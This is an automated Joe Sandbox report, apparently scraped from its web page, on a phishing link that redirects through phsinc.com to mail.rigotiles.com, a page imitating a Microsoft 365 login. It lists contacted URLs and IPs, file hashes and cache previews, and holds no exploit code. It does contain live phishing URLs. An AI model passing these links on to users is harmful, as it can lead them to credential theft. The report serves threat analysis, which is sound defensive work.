https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/1827530087:1730405642:ltd0wnhF-wNUZPhVAbzH59KppvuK_FKCeFGLBlDqCYQ/8db68aefa9dee71a/7cykXcorcTo1NInY40PyAW.pmxtDKZjwQymE_8quY0M-1730408092-1.1.1.1-Ke.D64bIfKYJPApeFdyVZtu8wbDtjaUMDXBNn45ZRomcSu7xIPnksyDPYrWEyyBv	false	unknown
https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css	false	unknown
https://vn3hg.rigotiles.com/ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js	false	unknown
https://mail.rigotiles.com/favicon.ico	false	unknown
https://api2.hcaptcha.com/checksiteconfig?v=05c78a4&host=mail.rigotiles.com&sitekey=234adb2f-52ba-4697-82fa-abecbb14b173&sc=1&swa=1&spst=1	false	unknown
https://vn3hg.rigotiles.com/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif	false	unknown
https://aadcdn.msftauth.net/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js	false	unknown
https://vn3hg.rigotiles.com/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg	false	unknown
https://mail.rigotiles.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	true	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8db68aefa9dee71a/1730408094294/bfc9350757dc2b54cda47f1ce8f7cb0fee63827b7d6473a6f9e3352166586cbd/I6Sy_RrFs8HulFz	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://hcaptcha.com/license	chromecache_120.1.dr, chromecache_124.1.dr, chromecache_90.1.dr	false		unknown
http://knockoutjs.com/	chromecache_105.1.dr, chromecache_107.1.dr, chromecache_97.1.dr, chromecache_123.1.dr	false	URL Reputation: safe	unknown
https://github.com/douglascrockford/JSON-js	chromecache_105.1.dr, chromecache_118.1.dr, chromecache_89.1.dr, chromecache_122.1.dr, chromecache_107.1.dr, chromecache_125.1.dr, chromecache_97.1.dr, chromecache_108.1.dr, chromecache_123.1.dr, chromecache_91.1.dr	false		unknown
http://gsgd.co.uk/sandbox/jquery/easing/	chromecache_92.1.dr, chromecache_100.1.dr	false	URL Reputation: safe	unknown
http://www.opensource.org/licenses/mit-license.php)	chromecache_105.1.dr, chromecache_107.1.dr, chromecache_97.1.dr, chromecache_123.1.dr	false	URL Reputation: safe	unknown
http://feross.org	chromecache_89.1.dr, chromecache_125.1.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
216.58.212.164	unknown	United States	15169	GOOGLEUS	false
13.107.246.67	s-part-0039.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
3.132.253.175	phsinc.com	United States	16509	AMAZON-02US	false
104.19.230.21	js.hcaptcha.com	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
169.197.85.95	unknown	United States	26548	PUREVOLTAGE-INCUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
162.19.58.157	i.ibb.co	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
216.58.206.68	www.google.com	United States	15169	GOOGLEUS	false
104.19.229.21	unknown	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	mail.rigotiles.com	European Union	13335	CLOUDFLARENETUS	true
188.114.96.3	react.rigotiles.com	European Union	13335	CLOUDFLARENETUS	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1546429
Start date and time:	2024-10-31 21:54:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://www.phsinc.com/?bwfan-track-action=click&bwfan-track-id=0ecdd1bdf2276cad3fa2d27ffa918e84&bwfan-uid=e2dffed46dd69d19d18bc527d6255bd5&bwfan-link=%68%74%74%70%73%3A%2F%2F%6D%61%69%6C%2E%72%69%67%6F%74%69%6C%65%73%2E%63%6F%6D%2F%6A%50%73%51%57%55%63%42
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal88.phis.win@21/70@50/16
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.67, 142.250.185.78, 74.125.206.84, 34.104.35.123, 172.217.18.10, 142.250.186.138, 172.217.16.138, 142.250.184.202, 172.217.16.202, 142.250.185.202, 142.250.185.170, 142.250.186.42, 142.250.181.234, 172.217.18.106, 216.58.206.42, 142.250.186.106, 142.250.184.234, 142.250.185.234, 142.250.186.170, 142.250.185.138, 2.19.126.146, 2.19.126.143, 142.250.186.99, 2.20.245.140, 2.20.245.134, 23.32.185.131, 172.217.23.110
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, aadcdnoriginwus2.azureedge.net, e13678.dscb.akamaiedge.net, clientservices.googleapis.com, aadcdn.msauth.net, a1894.dscb.akamai.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net, www.microsoft.com-c-3.edgekey.net, clients2.google.com, edgedl.me.gvt1.com, nel.measure.office.net.edgesuite.net, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, www.microsoft.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://www.phsinc.com/?bwfan-track-action=click&bwfan-track-id=0ecdd1bdf2276cad3fa2d27ffa918e84&bwfan-uid=e2dffed46dd69d19d18bc527d6255bd5&bwfan-link=%68%74%74%70%73%3A%2F%2F%6D%61%69%6C%2E%72%69%67%6F%74%69%6C%65%73%2E%63%6F%6D%2F%6A%50%73%51%57%55%63%42

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 31 19:54:47 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9849035125407104
Encrypted:	false
SSDEEP:	48:8Id0T4cPHmidAKZdA1FehwiZUklqehNy+3:8H/sqy
MD5:	5388C02DD34EF54BDF286BF745443CD5
SHA1:	F1D6D89B7BDCCFC4A87246AEC074F9FE287CC020
SHA-256:	7563876D6CE6F9E50F1F411DA3F62ED470C3C88BDA9C1B226EE494442A7A2485
SHA-512:	909CEFD939123DD3F72412238B561AB509AA4E1AF3D35A47CE4B01AD46B68554266FF7965FC392A7C01B15A3EA73F945D721E07E53E39D828464255379900A85
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....G...+..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I_Y.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V_Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V_Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V_Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V_Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............iN.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 31 19:54:47 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.001427997097741
Encrypted:	false
SSDEEP:	48:8od0T4cPHmidAKZdA1seh/iZUkAQkqehay+2:8n/C9Q3y
MD5:	D5C0AA0367BFAFC8FEFD725155043BF3
SHA1:	E22FA49875AFB259C27A8ACE0D0D5C3BD62F1B9D
SHA-256:	DFAF9D0D3B8B15AE77DB1D578AFEA63DB5C94DA861E72D9CA3A105FD0D0AB90B
SHA-512:	A1DA142E0CC79D26F68C1F0C99D3F3C4416D6896467EBDBAA2A38B8A36E650D3144CE1F31AD3C3531C9544F9ECCAF9F7C5DB3C999D3D7ECC145F7F576B5C1E8B
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.........+..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I_Y.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V_Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V_Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V_Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V_Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............iN.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.010964640766176
Encrypted:	false
SSDEEP:	48:8bd0T4cAHmidAKZdA14meh7sFiZUkmgqeh7sUy+BX:8+/znWy
MD5:	DBDF2D39F7870391FC37473758ADEE70
SHA1:	34782D132DAEDCA2B0EDC91D0552552B2A539D86
SHA-256:	84CCAC1958B61D75CDF223DF0F2D2483DA9B31C953EB7CD758DBEE1B6C2213C1
SHA-512:	76020D40A40BD6EB6991262CBD40BF64E18C52BDE02656765DFDC86A1CC6335F256E2A930AA2AB1F6BAE450AF8B9E1D35CB1675A1BBD33C592A0FF1E07694EA6
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I_Y.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V_Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V_Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V_Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............iN.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 31 19:54:47 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9950476078432366
Encrypted:	false
SSDEEP:	48:8Td0T4cPHmidAKZdA1TehDiZUkwqehOy+R:8m/ZMy
MD5:	095D0A9B22DF57CBAB335F4FAB1CCF16
SHA1:	E61FD27ED982FD6AF3562537ED0797A3A0868058
SHA-256:	1E7262DD08023B8AFDEC8009E560DB4DA1568BA207D540A51E624F8AACB0486F
SHA-512:	35732C02C67D5D3F6A952E2127CFB21FC3C38B9E51947A3D787AD256BEAF6552715E77D56D33356B7505C5BAFEFEB32D432D7BE79A7648CEC1CCFFE3DD6BD96C
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....J\...+..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I_Y.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V_Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V_Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V_Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V_Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............iN.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 31 19:54:47 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.989781117327336
Encrypted:	false
SSDEEP:	48:8Yd0T4cPHmidAKZdA1dehBiZUk1W1qehQy+C:83/J9wy
MD5:	E21D2BCAB8FEA5902C83236688106F05
SHA1:	01A6FFC048E11EA7AFC51BA75EE8FBD9FAC3D07C
SHA-256:	DDC2E9287745E0FFCFC4045A8B3CFC96A0ABA7C08DEECE4696CE88B43FA16518
SHA-512:	96F009B0F6EB98024DC84C119211924F36323678D9540940741A90415E1790330191C968021636156ED6B0E301B7BA0A5849F39BB54C65142A57BA63B815FDD0
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....-...+..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I_Y.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V_Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V_Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V_Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V_Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............iN.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 31 19:54:47 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9995931072751385
Encrypted:	false
SSDEEP:	48:8ed0T4cPHmidAKZdA1duTeehOuTbbiZUk5OjqehOuTbWy+yT+:8R/xTfTbxWOvTbWy7T
MD5:	98E7CC520B2E430AADB7C99C55377722
SHA1:	87DD0DB1B65B3EBDABB29D93CC703E1F27A0D51C
SHA-256:	23359805ABEF121478D8C4D76E96DF661014D2DCA55040EB39CC0815F6FBE76A
SHA-512:	F3223328F91BAEDD7D0B7EB9B0C3A4640C9E272C150A65DE5F6EAC6562F45D17F93CE200486EA4E3355EBCECD58EA4109CA66DB4F8D9288FF1EA5F18A3777602
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....n....+..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I_Y.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V_Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V_Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V_Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V_Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............iN.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65450), with CRLF line terminators
Category:	dropped
Size (bytes):	119648
Entropy (8bit):	5.356165204896218
Encrypted:	false
SSDEEP:	3072:/Yh8eip3huuf6IidlrvakdtQ47GKvPhQDvMwFdm:/i8eGRuufsr5zQ47GKvPyDvG
MD5:	75CF78D0E38C65A538AD253CA9E48DBE
SHA1:	BF0452E4A42A9AF3B69D5D8C3A3A0433F14921B6
SHA-256:	DF2AA8537C1992C94846A0FFFFAA9031D430D9D0210B9E396EC059AFF62627E0
SHA-512:	81383E4FDAE1F34F8E652F69058D57A2A4BD0A77C2C41C3174BEE0CEBA83A8326229C2A74EAF415BFBD34382B1C442A97C41034F43CD77A391BA9B4DAAE65463
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /..!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	776
Entropy (8bit):	5.825207447049987
Encrypted:	false
SSDEEP:	24:Y2+S5HXnREexB+2fEhEPpeBMS6qEc03PoIzM0wJczn:Y2+mnxU2qMY3Ec+PZMvJYn
MD5:	560A4C7FA28FFA6E99B19CDB9C3A37D7
SHA1:	723AF64035C0FA84E68246D31E0287FD17359C2F
SHA-256:	7D9F7E28C1D42057DE5EB7B4E38F637E346F5A8C609B0312A6545BC1A41518FD
SHA-512:	39E8104829815C3F58800EDEEEE4535ECA7E6F5D54E9D103789C13D38FF993145AE19A8CD4D358341E77D58F86E527EE4F8359EC2FD051F685896B0439E3A782
Malicious:	false
Reputation:	low
Preview:	{"features":{"enc_get_req":true},"c":{"type":"hsw","req":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmIjowLCJzIjoyLCJ0IjoidyIsImQiOiI4ZnowVlNMRWErZEMxZDAyNmVYUFJVbVpGbnF4WDJaOTdZZ25aNVc3M0VJaDZxLzUyK0s0eERLZWNCSldIS2U2ZmNBMklsWWVONmpCeWRxY2l1U2k1Z2xBQkFCditlVHZ3RHZjaTV4Z1FTVEVmVHBCNzNURWdYNkpsNkxrUXZXajNPUUs2VFhhK1I5RXovUDdTV1djUFN6STNoUmpQNjc0U3lWSXk2T0FwMytwTWxodnd5ZWhUWndFWFlrYjZGUjZoZXlsaVN2Z2cxSkRFT2QwMkFyVHI4Z2ZCRkpCL092YWR5dTlVNkcybENJOTZrbmZEemVHeTJJdTFYVDhNQT09a2JydmdzRkVmaGpHNDd3MCIsImwiOiIvYy8wZDY5ZDFhMzU5MTE5YmQwZTJjNWNhN2YxMWYzMDBhYzA1MDUxN2ZkMTliNjEyZjg2YzBjNzVhMmIwYjM5Y2JlIiwiaSI6InNoYTI1Ni0yVERZY2QwL1FCdENSanJxV1hFVXJOTENnWVFEVlgyNkpNc0IrTUpXbG9rPSIsImUiOjE3MzA0MDg0NTQsIm4iOiJoc3ciLCJjIjoxMDAwfQ.qK-EOlDoJWVL_A9vKsRAO6xY9v5kzDePH1xHBwVY5aM"},"pass":true}

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://vn3hg.rigotiles.com/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
URL:	https://vn3hg.rigotiles.com/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif
